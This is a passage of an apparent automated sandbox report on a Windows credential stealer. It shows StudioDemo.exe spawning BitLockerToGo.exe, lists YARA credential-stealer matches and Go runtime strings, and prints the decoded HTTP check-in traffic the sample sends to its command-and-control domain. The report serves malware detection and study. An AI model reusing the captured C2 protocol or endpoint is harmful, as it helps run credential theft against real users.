2024-10-24 12:51:32 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 12:51:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49743	188.114.96.3	443	6984	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 12:51:32 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1255 Host: armretire.sbs
2024-10-24 12:51:32 UTC	1255	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 33 36 31 38 43 46 35 34 38 42 36 32 45 37 32 44 43 38 34 33 45 43 44 33 31 45 42 45 46 35 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 74 4c 59 4d 65 35 2d 2d 31 31 31 0d 0a Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"C3618CF548B62E72DC843ECD31EBEF54--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"tLYMe5--111
2024-10-24 12:51:33 UTC	1001	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 12:51:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=m53jhv4u49e9uing0sbsag2o4t; expires=Mon, 17 Feb 2025 06:38:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JftX2DVznB9O5p8yX7UzMsIAGq64speCbqeJaP4xewuqVrpcyWScdgoAq0oltuCkrlVmi803jmpQEDj%2BRq3rARpIxIaRgHIyz68eXfI2FzW%2Fqz2I2gol6KXQUxw6Dux5"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7a195359f8b789-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1322&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2831&recv_bytes=2169&delivery_rate=2145185&cwnd=39&unsent_bytes=0&cid=fc5d31c2528e2fe0&ts=502&x=0"
2024-10-24 12:51:33 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 12:51:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49744	188.114.96.3	443	6984	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 12:51:34 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1121 Host: armretire.sbs
2024-10-24 12:51:34 UTC	1121	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 33 36 31 38 43 46 35 34 38 42 36 32 45 37 32 44 43 38 34 33 45 43 44 33 31 45 42 45 46 35 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 74 4c 59 4d 65 35 2d 2d 31 31 31 0d 0a Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"C3618CF548B62E72DC843ECD31EBEF54--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"tLYMe5--111
2024-10-24 12:51:34 UTC	1004	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 12:51:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=s1j23k5sejrekemkph86n95dqa; expires=Mon, 17 Feb 2025 06:38:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FrBERjjBpB7uOE8f7Pz%2BJiz3f4LiMDTDI9W89YOLCPwmOh5oSBEnEwObXrldQJ8QnBHs4SOuIZeD%2FF1YRGhjs9CoaTMxoEAWc9DVHPL0BBQZ50XxRvLb%2BPZrlzQABjdG"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7a195bca7b3156-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1419&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2830&recv_bytes=2035&delivery_rate=2019525&cwnd=251&unsent_bytes=0&cid=04001791d10dc870&ts=544&x=0"
2024-10-24 12:51:34 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 12:51:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49745	188.114.96.3	443	6984	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 12:51:35 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 112 Host: armretire.sbs
2024-10-24 12:51:35 UTC	112	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 74 4c 59 4d 65 35 2d 2d 31 31 31 26 6a 3d 35 63 39 62 38 36 37 34 61 36 33 30 64 39 31 30 31 62 34 36 37 33 33 61 61 33 37 66 31 35 65 63 26 68 77 69 64 3d 43 33 36 31 38 43 46 35 34 38 42 36 32 45 37 32 44 43 38 34 33 45 43 44 33 31 45 42 45 46 35 34 Data Ascii: act=get_message&ver=4.0&lid=tLYMe5--111&j=5c9b8674a630d9101b46733aa37f15ec&hwid=C3618CF548B62E72DC843ECD31EBEF54
2024-10-24 12:51:35 UTC	1008	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 12:51:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=feesaumjfl1ocgmt346og6ovul; expires=Mon, 17 Feb 2025 06:38:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4AMSm%2F21vUZaIwFsHXSXudI8I0J%2FR8uP31%2BlLRrF4AGjkCXPdiM0fkZP6GjLe67hKwDrWtrBz4tx2htocXThK7J%2BqmT7WiJ77137ae5AzeiQfHzz%2FVLpDImpjsxxaPln"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7a1962fc28e716-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1577&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2832&recv_bytes=1010&delivery_rate=1812265&cwnd=251&unsent_bytes=0&cid=ee97eaa27981497f&ts=335&x=0"
2024-10-24 12:51:35 UTC	54	IN	Data Raw: 33 30 0d 0a 30 57 46 32 70 44 73 68 33 73 70 56 36 72 70 6f 4a 33 46 6c 37 39 34 58 4a 37 50 70 49 51 73 68 58 4e 44 42 43 65 31 4c 64 65 2b 4b 50 41 3d 3d 0d 0a Data Ascii: 300WF2pDsh3spV6rpoJ3Fl794XJ7PpIQshXNDBCe1Lde+KPA==
2024-10-24 12:51:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	08:51:03
Start date:	24/10/2024
Path:	C:\Users\user\Desktop\StudioDemo.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\StudioDemo.exe"
Imagebase:	0xd20000
File size:	27'028'992 bytes
MD5 hash:	C2572A275E098D91A781656E6895A22E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	08:51:12
Start date:	24/10/2024
Path:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
Imagebase:	0x470000
File size:	231'736 bytes
MD5 hash:	A64BEAB5D4516BECA4C40B25DC0C1CD8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1991166032.0000000002922000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1922219151.000000000298F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Function 00D5AF90 Relevance: 11.4, Strings: 9, Instructions: 183COMMON

Download Yara Rule

Strings

CreateWaitableTimerEx when creating timer failedruntime.preemptM: duplicatehandle failed; errno=runtime: waitforsingleobject wait_failed; errno=division of zero by zero or infinity by infinityInt.GobDecode: encoding version %d not supportedRat.GobDecode: encod, xrefs: 00D5B26B
bad g0 stackself-preempt [recovered]bad recoverybad g statusentersyscallwirep: p->m=) p->status=releasep: m= sysmonwait= preemptoff=cas64 failed m->gsignal=-byte limitruntime: sp=abi mismatch%!(BADWIDTH)invalid baseshort buffercontext.TODOCookie.Valuecontent-, xrefs: 00D5B1B5
VirtualQuery for stack base failedforEachP: sched.safePointWait != 0schedule: spinning with local workruntime: g is running but p is notdoaddtimer: P already set in timermsb not set in last word %#x of %sexpected exactly %d bits of resultin \u hexadecimal char, xrefs: 00D5B210
runtime: CreateWaitableTimerEx failed; errno=exitsyscall: syscall frame is no longer validunsafe.String: ptr is nil and len is not zeromath/big: cannot unmarshal %q into a *big.Intmath/big: cannot unmarshal %q into a *big.Ratjson.RawMessage: UnmarshalJSON on n, xrefs: 00D5B237
runtime.minit: duplicatehandle failed; errno=runtime: CreateWaitableTimerEx failed; errno=exitsyscall: syscall frame is no longer validunsafe.String: ptr is nil and len is not zeromath/big: cannot unmarshal %q into a *big.Intmath/big: cannot unmarshal %q into , xrefs: 00D5B292
) @s -> Pn=][}]i)> +%v%!)(0b0x0X0o, xrefs: 00D5B19A
runtime: VirtualQuery failed; errno=runtime: sudog with non-nil waitlinkruntime: mcall called on m->g0 stackstartm: P required for spinning=true) is not Grunnable or Gscanrunnableruntime: bad notifyList size - sync=accessed data from freed user arena runtime:, xrefs: 00D5B1DC
%, xrefs: 00D5B2CF
runtime.minit: duplicatehandle failed_cgo_notify_runtime_init_done missingstartTheWorld: inconsistent mp->nextpruntime: unexpected SPWRITE function all goroutines are asleep - deadlock!cannot create context from nil parenthttp: invalid byte %q in Cookie.Valuec, xrefs: 00D5B2C6

Memory Dump Source

Source File: 00000000.00000002.1890647161.0000000000D21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.1890582840.0000000000D20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.000000000165D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001C9F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001CA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001CBC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001CD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001CD5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001CD9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001CE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001CE9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001CEB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001CEE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001CF3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001CF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001CFE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001D02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001D06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001D0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001D11000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001D16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001D1C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001D21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001D26000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001D2C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001D3B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001D49000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001D4E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001D52000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001D5C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001D65000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001D6A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001D6F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001D74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001D78000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001D7E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001D85000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001D8C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001D90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001D99000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001D9E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001DA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001DAD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001DBD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001DC6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001DCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001DD2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001DE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001DED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001DF8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001E02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001E06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001E23000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001E49000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001E4D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001E5C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001E60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001E65000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001E69000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001E70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001E7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001E86000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001E91000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001EA5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001EB5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001EC1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001EC5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001EC9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001ECD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001ED3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001ED5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001EDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001EDF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001EE3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894195170.000000000260A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894209201.000000000260B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894222148.000000000260F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894233629.0000000002610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894246357.0000000002611000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894258103.0000000002613000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894268847.0000000002614000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894293243.0000000002646000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894306249.0000000002650000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894319346.0000000002651000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894331220.0000000002653000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894342057.0000000002654000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894342057.000000000265C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894342057.000000000267C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894342057.0000000002683000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894400999.0000000002686000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894417053.0000000002687000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894417053.000000000271A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_StudioDemo.jbxd

Similarity

API ID:
String ID: %$) @s -> Pn=][}]i)> +%v%!)(0b0x0X0o$CreateWaitableTimerEx when creating timer failedruntime.preemptM: duplicatehandle failed; errno=runtime: waitforsingleobject wait_failed; errno=division of zero by zero or infinity by infinityInt.GobDecode: encoding version %d not supportedRat.GobDecode: encod$VirtualQuery for stack base failedforEachP: sched.safePointWait != 0schedule: spinning with local workruntime: g is running but p is notdoaddtimer: P already set in timermsb not set in last word %#x of %sexpected exactly %d bits of resultin \u hexadecimal char$bad g0 stackself-preempt [recovered]bad recoverybad g statusentersyscallwirep: p->m=) p->status=releasep: m= sysmonwait= preemptoff=cas64 failed m->gsignal=-byte limitruntime: sp=abi mismatch%!(BADWIDTH)invalid baseshort buffercontext.TODOCookie.Valuecontent-$runtime.minit: duplicatehandle failed; errno=runtime: CreateWaitableTimerEx failed; errno=exitsyscall: syscall frame is no longer validunsafe.String: ptr is nil and len is not zeromath/big: cannot unmarshal %q into a *big.Intmath/big: cannot unmarshal %q into $runtime.minit: duplicatehandle failed_cgo_notify_runtime_init_done missingstartTheWorld: inconsistent mp->nextpruntime: unexpected SPWRITE function all goroutines are asleep - deadlock!cannot create context from nil parenthttp: invalid byte %q in Cookie.Valuec$runtime: CreateWaitableTimerEx failed; errno=exitsyscall: syscall frame is no longer validunsafe.String: ptr is nil and len is not zeromath/big: cannot unmarshal %q into a *big.Intmath/big: cannot unmarshal %q into a *big.Ratjson.RawMessage: UnmarshalJSON on n$runtime: VirtualQuery failed; errno=runtime: sudog with non-nil waitlinkruntime: mcall called on m->g0 stackstartm: P required for spinning=true) is not Grunnable or Gscanrunnableruntime: bad notifyList size - sync=accessed data from freed user arena runtime:
API String ID: 0-2794158078
Opcode ID: 9449d878462d16894cb5bbbab553e0d66bef379eef502d231027dde2d8a870ff
Instruction ID: 0e0ad904be30f5efe0f3d4dcb4301a2ce46ea753d3a36ae7dca6cccfba536de0
Opcode Fuzzy Hash: 9449d878462d16894cb5bbbab553e0d66bef379eef502d231027dde2d8a870ff
Instruction Fuzzy Hash: E791BEB45097018FD744EF68D095B1ABBE4EF88709F40896DF8988B382E774D948CF62

Function 00D6B600 Relevance: 6.3, Strings: 5, Instructions: 83COMMON

Download Yara Rule

Strings

p->status= in status idleprocs= gcwaiting= schedtick= timerslen= mallocing=bad timedivfloat64nan1float64nan2float64nan3float32nan2GOTRACEBACK) at entry+ (targetpc= , plugin: runtime: g : frame.sp=created by %!(BADPREC)MarshalJSONMarshalTextshort write.WithCa, xrefs: 00D6B703
releasep: invalid argcheckdead: runnable gruntime: newstack at runtime: newstack sp=runtime: confused by pcHeader.textStart= timer data corruptionFloat.SetFloat64(NaN)set bit is not 0 or 1after top-level valuein string escape codebufio: negative countkey is n, xrefs: 00D6B74D
releasep: m= sysmonwait= preemptoff=cas64 failed m->gsignal=-byte limitruntime: sp=abi mismatch%!(BADWIDTH)invalid baseshort buffercontext.TODOCookie.Valuecontent-typemax-forwardshttp2debug=1http2debug=2status code Multi-StatusNot ModifiedUnauthorizedI'm a te, xrefs: 00D6B695
releasep: invalid p statecheckdead: no p for timercheckdead: no m for timerunknown sigtramp callbackunexpected fault address missing stack in newstackbad status in shrinkstackmissing traceGCSweepStartunexpected key value typeExpandEnvironmentStringsWjson: Unex, xrefs: 00D6B737
m->p= p->m=SCHED curg= ctxt: min= max= (...) base []bytestringnumber, val Basic CookiecookieexpectoriginserverclosedmethodExpectPragmaactivesocks5X25519netdns.localreturn.onionip+netgophertelnetSTRINGNUMBERproto2proto3Proto2Proto3sint32uint32sint64uint64do, xrefs: 00D6B6B7

Memory Dump Source

Source File: 00000000.00000002.1890647161.0000000000D21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.1890582840.0000000000D20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.000000000165D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001C9F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001CA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001CBC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001CD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001CD5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001CD9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001CE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001CE9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001CEB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001CEE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1891610446.0000000001CF3000.00000002.00000001.01000000.00000003.sdmpDownload File
